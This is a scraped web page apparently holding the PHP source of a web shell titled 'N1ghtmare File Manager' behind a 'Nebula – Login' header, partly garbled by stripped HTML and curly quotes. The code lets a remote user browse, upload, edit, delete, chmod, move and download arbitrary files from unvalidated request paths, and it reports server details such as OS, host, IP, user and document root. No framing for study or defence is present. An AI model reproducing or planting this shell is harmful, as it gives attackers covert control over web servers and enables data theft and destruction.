返回
Nebula – Login
‘; } function getUploadError($error_code) { switch ($error_code) { case UPLOAD_ERR_INI_SIZE: return ‘File size exceeds server limit’; case UPLOAD_ERR_FORM_SIZE: return ‘File size exceeds form limit’; case UPLOAD_ERR_PARTIAL: return ‘File was only partially uploaded’; case UPLOAD_ERR_NO_FILE: return ‘No file was uploaded’; case UPLOAD_ERR_NO_TMP_DIR: return ‘Missing temporary folder’; case UPLOAD_ERR_CANT_WRITE: return ‘Failed to write file to disk’; case UPLOAD_ERR_EXTENSION: return ‘File upload stopped by extension’; default: return ‘Unknown upload error’; } } function perms($file) { $perms = fileperms($file); $info = ”; switch ($perms & 0xF000) { case 0xC000: $info = ‘s’; break; case 0xA000: $info = ‘l’; break; case 0x8000: $info = ‘-‘; break; case 0x6000: $info = ‘b’; break; case 0x4000: $info = ‘d’; break; case 0x2000: $info = ‘c’; break; case 0x1000: $info = ‘p’; break; default: $info = ‘u’; } $info .= (($perms & 0x0100) ? ‘r’ : ‘-‘); $info .= (($perms & 0x0080) ? ‘w’ : ‘-‘); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? ‘s’ : ‘x’ ) : (($perms & 0x0800) ? ‘S’ : ‘-‘)); $info .= (($perms & 0x0020) ? ‘r’ : ‘-‘); $info .= (($perms & 0x0010) ? ‘w’ : ‘-‘); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? ‘s’ : ‘x’ ) : (($perms & 0x0400) ? ‘S’ : ‘-‘)); $info .= (($perms & 0x0004) ? ‘r’ : ‘-‘); $info .= (($perms & 0x0002) ? ‘w’ : ‘-‘); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? ‘t’ : ‘x’ ) : (($perms & 0x0200) ? ‘T’ : ‘-‘)); return $info; } function formatSize($bytes) { if ($bytes >= 1099511627776) return round($bytes / 1099511627776, 2) . ‘ TB’; if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ‘ GB’; if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ‘ MB’; if ($bytes >= 1024) return round($bytes / 1024, 2) . ‘ KB’; return $bytes . ‘ B’; } function generateBreadcrumb($path) { $parts = explode(DIRECTORY_SEPARATOR, $path); $breadcrumb = ‘‘; return $breadcrumb; } function isImage($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); return in_array($ext, [‘jpg’, ‘jpeg’, ‘png’, ‘gif’, ‘bmp’, ‘svg’, ‘webp’, ‘ico’]); } function isTextFile($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); return in_array($ext, [‘txt’, ‘php’, ‘html’, ‘htm’, ‘css’, ‘js’, ‘json’, ‘xml’, ‘ini’, ‘conf’, ‘cfg’, ‘sh’, ‘bash’, ‘py’, ‘rb’, ‘pl’, ‘sql’, ‘c’, ‘cpp’, ‘h’, ‘hpp’, ‘java’, ‘md’, ‘markdown’, ‘log’, ‘env’, ‘gitignore’, ‘htaccess’, ‘nginx’, ‘yml’, ‘yaml’, ‘toml’, ‘lock’, ‘rst’]); } $path = isset($_GET[‘p’]) ? $_GET[‘p’] : getcwd(); $action = isset($_GET[‘a’]) ? $_GET[‘a’] : (isset($_POST[‘a’]) ? $_POST[‘a’] : ”); $target = isset($_GET[‘t’]) ? $_GET[‘t’] : (isset($_POST[‘t’]) ? $_POST[‘t’] : ”); // Handle AJAX file view requests if (isset($_GET[‘ajax_view’]) && is_file($_GET[‘ajax_view’])) { header(‘Content-Type: application/json’); $file = $_GET[‘ajax_view’]; $response = [ ‘name’ => basename($file), ‘path’ => $file, ‘is_image’ => isImage($file), ‘is_text’ => isTextFile($file) ]; if (isImage($file)) { $response[‘content’] = base64_encode(file_get_contents($file)); $response[‘mime’] = mime_content_type($file); } elseif (isTextFile($file)) { $response[‘content’] = file_get_contents($file); } echo json_encode($response); exit; } if ($action === ‘download’ && $target && is_file($target)) { header(‘Content-Description: File Transfer’); header(‘Content-Type: application/octet-stream’); header(‘Content-Disposition: attachment; filename=”‘ . basename($target) . ‘”‘); header(‘Expires: 0’); header(‘Cache-Control: must-revalidate’); header(‘Pragma: public’); header(‘Content-Length: ‘ . filesize($target)); readfile($target); exit; } if (!empty($action)) { if ($_SERVER[‘REQUEST_METHOD’] === ‘POST’ && isset($_POST[‘p’])) { $path = $_POST[‘p’]; } elseif (isset($_GET[‘p’])) { $path = $_GET[‘p’]; } switch ($action) { case ‘upload’: if (!isset($_FILES[‘f’]) || $_FILES[‘f’][‘error’] === UPLOAD_ERR_NO_FILE) { $error = “No file selected for upload”; break; } if ($_FILES[‘f’][‘error’] !== UPLOAD_ERR_OK) { $error = “Upload error: ” . getUploadError($_FILES[‘f’][‘error’]); break; } $targetPath = $path . DIRECTORY_SEPARATOR . basename($_FILES[‘f’][‘name’]); if (file_exists($targetPath)) { $error = “File already exists: ” . $_FILES[‘f’][‘name’]; break; } if (!is_writable($path)) { @chmod($path, 0755); if (!is_writable($path)) { $error = “Destination not writable: ” . $path; break; } } if (move_uploaded_file($_FILES[‘f’][‘tmp_name’], $targetPath)) { $message = “Upload successful: ” . $_FILES[‘f’][‘name’]; @chmod($targetPath, 0644); } else { $error = “Upload failed: ” . $_FILES[‘f’][‘name’]; } break; case ‘delete’: if ($target) { if (is_dir($target)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($files as $fileinfo) { $todo = ($fileinfo->isDir() ? ‘rmdir’ : ‘unlink’); @$todo($fileinfo->getRealPath()); } @rmdir($target); $message = “Deleted directory: ” . basename($target); } else { if (@unlink($target)) { $message = “Deleted file: ” . basename($target); } else { $error = “Failed to delete: ” . basename($target); } } // Redirect back to the directory after delete $redirectDir = dirname($target); header(‘Location: ?p=’ . urlencode($redirectDir)); exit; } break; case ‘create_dir’: $dirName = isset($_POST[‘dir_name’]) ? $_POST[‘dir_name’] : ”; if ($dirName) { $newDir = $path . DIRECTORY_SEPARATOR . $dirName; if (!file_exists($newDir)) { if (@mkdir($newDir, 0755, true)) { $message = “Created directory: $dirName”; } else { $error = “Failed to create directory: $dirName”; } } else { $error = “Directory already exists: $dirName”; } } break; case ‘create_file’: $fileName = isset($_POST[‘file_name’]) ? $_POST[‘file_name’] : ”; if ($fileName) { $newFile = $path . DIRECTORY_SEPARATOR . $fileName; if (!file_exists($newFile)) { if (@file_put_contents($newFile, ”)) { $message = “Created file: $fileName”; } else { $error = “Failed to create file: $fileName”; } } else { $error = “File already exists: $fileName”; } } break; case ‘edit’: if (isset($_POST[‘content’])) { $content = $_POST[‘content’]; if (@file_put_contents($target, $content)) { $message = “Saved: ” . basename($target); } else { $error = “Failed to save: ” . basename($target); } // Stay in the same directory after edit header(‘Location: ?p=’ . urlencode(dirname($target))); exit; } break; case ‘compress’: if (class_exists(‘ZipArchive’) && $target) { $zip = new ZipArchive(); $zipName = basename($target) . ‘.zip’; $zipPath = $path . DIRECTORY_SEPARATOR . $zipName; if ($zip->open($zipPath, ZipArchive::CREATE) === TRUE) { if (is_dir($target)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen(dirname($target)) + 1); $zip->addFile($filePath, $relativePath); } } } else { $zip->addFile($target, basename($target)); } $zip->close(); $message = “Compressed to: $zipName”; } else { $error = “Failed to create archive”; } } else { $error = “ZipArchive not available”; } break; case ‘rename’: if (isset($_POST[‘new_name’]) && $target) { $newName = trim($_POST[‘new_name’]); // Validate new name if (empty($newName)) { $error = “New name cannot be empty”; break; } // Check for invalid characters if (strpos($newName, ‘/’) !== false || strpos($newName, ‘\\’) !== false) { $error = “Name cannot contain slashes”; break; } $targetDir = dirname($target); $newPath = $targetDir . DIRECTORY_SEPARATOR . $newName; // Check if source exists if (!file_exists($target)) { $error = “Source file/folder does not exist”; break; } // Check if destination already exists if (file_exists($newPath)) { $error = “A file/folder with that name already exists”; break; } // Check if we have write permissions if (!is_writable($targetDir)) { $error = “No write permission in this directory”; break; } // Attempt to rename if (@rename($target, $newPath)) { $message = “Successfully renamed to: ” . $newName; } else { $error = “Failed to rename. Please check permissions.”; } // Stay in the same directory after rename header(‘Location: ?p=’ . urlencode($targetDir)); exit; } break; case ‘chmod’: if (isset($_POST[‘perms’]) && $target) { $perms = intval($_POST[‘perms’], 8); if (@chmod($target, $perms)) { $message = “Changed permissions to: ” . $_POST[‘perms’]; } else { $error = “Failed to change permissions”; } } break; case ‘copy’: if (isset($_POST[‘dest’]) && $target) { $dest = $_POST[‘dest’]; if (@copy($target, $dest)) { $message = “Copied to: ” . basename($dest); } else { $error = “Failed to copy”; } } break; case ‘move’: if (isset($_POST[‘dest’]) && $target) { $dest = $_POST[‘dest’]; if (@rename($target, $dest)) { $message = “Moved to: ” . basename($dest); } else { $error = “Failed to move”; } } break; case ‘bulk’: if (isset($_POST[‘bulk_action’]) && isset($_POST[‘files’])) { $bulkAction = $_POST[‘bulk_action’]; $files = $_POST[‘files’]; switch ($bulkAction) { case ‘delete’: foreach ($files as $file) { if (is_dir($file)) { $files2 = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($file, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($files2 as $fileinfo) { $todo = ($fileinfo->isDir() ? ‘rmdir’ : ‘unlink’); @$todo($fileinfo->getRealPath()); } @rmdir($file); } else { @unlink($file); } } $message = “Bulk delete completed”; break; case ‘zip’: if (class_exists(‘ZipArchive’)) { $zip = new ZipArchive(); $zipName = ‘bulk_’ . date(‘Ymd_His’) . ‘.zip’; $zipPath = $path . DIRECTORY_SEPARATOR . $zipName; if ($zip->open($zipPath, ZipArchive::CREATE) === TRUE) { foreach ($files as $file) { if (is_file($file)) { $zip->addFile($file, basename($file)); } } $zip->close(); $message = “Created archive: $zipName”; } else { $error = “Failed to create archive”; } } break; case ‘chmod’: $perms = intval($_POST[‘bulk_value’], 8); foreach ($files as $file) { @chmod($file, $perms); } $message = “Permissions changed to: ” . $_POST[‘bulk_value’]; break; } } break; } } $systemInfo = [ ‘os’ => php_uname(‘s’) . ‘ ‘ . php_uname(‘r’), ‘host’ => php_uname(‘n’), ‘php’ => phpversion(), ‘server’ => $_SERVER[‘SERVER_SOFTWARE’] ?? ‘Unknown’, ‘root’ => $_SERVER[‘DOCUMENT_ROOT’] ?? ‘Unknown’, ‘server_ip’ => $_SERVER[‘SERVER_ADDR’] ?? ‘Unknown’, ‘client_ip’ => $_SERVER[‘REMOTE_ADDR’] ?? ‘Unknown’, ‘user’ => get_current_user(), ‘disk_free’ => formatSize(disk_free_space(‘/’)), ‘disk_total’ => formatSize(disk_total_space(‘/’)), ‘upload_max’ => ini_get(‘upload_max_filesize’), ‘post_max’ => ini_get(‘post_max_size’) ]; ?> N1ghtmare File Manager
⚠️
Operations
Files in
“; echo ““; echo ““; echo ““; echo ““; echo ““; echo ““; echo ““; } catch (Exception $e) { continue; } } // Display files foreach ($files as $item) { $fullPath = $path . DIRECTORY_SEPARATOR . $item; $isHidden = $item[0] === ‘.’; try { $perms = perms($fullPath); $size = formatSize(@filesize($fullPath)); $mtime = @date(‘Y-m-d H:i’, @filemtime($fullPath)); $ext = strtolower(pathinfo($fullPath, PATHINFO_EXTENSION)); $icon = ‘📄’; if (in_array($ext, [‘jpg’, ‘jpeg’, ‘png’, ‘gif’, ‘bmp’, ‘svg’, ‘webp’, ‘ico’])) $icon = ‘🖼️’; else if (in_array($ext, [‘mp3’, ‘wav’, ‘ogg’, ‘flac’, ‘m4a’])) $icon = ‘🎵’; else if (in_array($ext, [‘mp4’, ‘avi’, ‘mkv’, ‘mov’, ‘wmv’, ‘flv’])) $icon = ‘🎬’; else if (in_array($ext, [‘zip’, ‘rar’, ‘tar’, ‘gz’, ‘7z’, ‘bz2’])) $icon = ‘📦’; else if (in_array($ext, [‘php’, ‘html’, ‘css’, ‘js’, ‘py’, ‘rb’, ‘java’, ‘c’, ‘cpp’])) $icon = ‘⚙️’; else if (in_array($ext, [‘txt’, ‘md’, ‘log’, ‘ini’, ‘conf’, ‘env’, ‘yml’])) $icon = ‘📝’; else if (in_array($ext, [‘pdf’])) $icon = ‘📑’; else if (in_array($ext, [‘doc’, ‘docx’])) $icon = ‘📘’; else if (in_array($ext, [‘xls’, ‘xlsx’])) $icon = ‘📊’; else if (in_array($ext, [‘ppt’, ‘pptx’])) $icon = ‘📽️’; echo ““; echo ““; echo ““; echo ““; echo ““; echo ““; echo ““; echo ““; } catch (Exception $e) { continue; } } } } ?>
Name Size Permissions Modified Actions
📁 d——–
📁” . ($isHidden ? “” . htmlspecialchars($item) . “” : htmlspecialchars($item)) . “$perms” . ($mtime ?: ‘-‘) . ““; echo “Open“; echo ““; echo “Zip“; echo “Del“; echo “
$icon” . ($isHidden ? “” . htmlspecialchars($item) . “” : htmlspecialchars($item)) . “$size$perms” . ($mtime ?: ‘-‘) . ““; if (isImage($fullPath) || isTextFile($fullPath)) { echo ““; } if (isTextFile($fullPath)) { echo “Edit“; } echo ““; echo “DL“; echo “Zip“; echo “Del“; echo “
Editing: